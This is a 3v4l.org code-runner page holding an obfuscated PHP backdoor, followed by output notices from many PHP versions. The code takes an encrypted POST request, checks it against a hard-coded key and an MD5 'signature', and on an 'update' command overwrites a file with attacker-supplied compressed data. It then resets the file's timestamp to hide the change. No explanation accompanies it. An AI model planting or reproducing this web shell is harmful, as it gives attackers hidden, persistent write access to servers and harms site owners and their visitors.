3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (isset ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (true/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php }
Output for 5.4.0 - 7.1.0
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 /*payload*/
Output for 5.3.0 - 5.3.29
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 Warning: touch(): Unable to create file because No such file or directory in /in/YMKBh on line 46 /*payload*/
Output for 4.3.2 - 5.2.17
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 Warning: touch(): Unable to create file because No such file or directory in /in/YMKBh on line 46 /*payload*/
Output for 4.3.0 - 4.3.1
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 Warning: filectime() [http://www.php.net/function.filectime]: Stat failed for (errno=2 - No such file or directory) in /in/YMKBh on line 46 Warning: touch() [http://www.php.net/function.touch]: Unable to create file because No such file or directory in /in/YMKBh on line 46 /*payload*/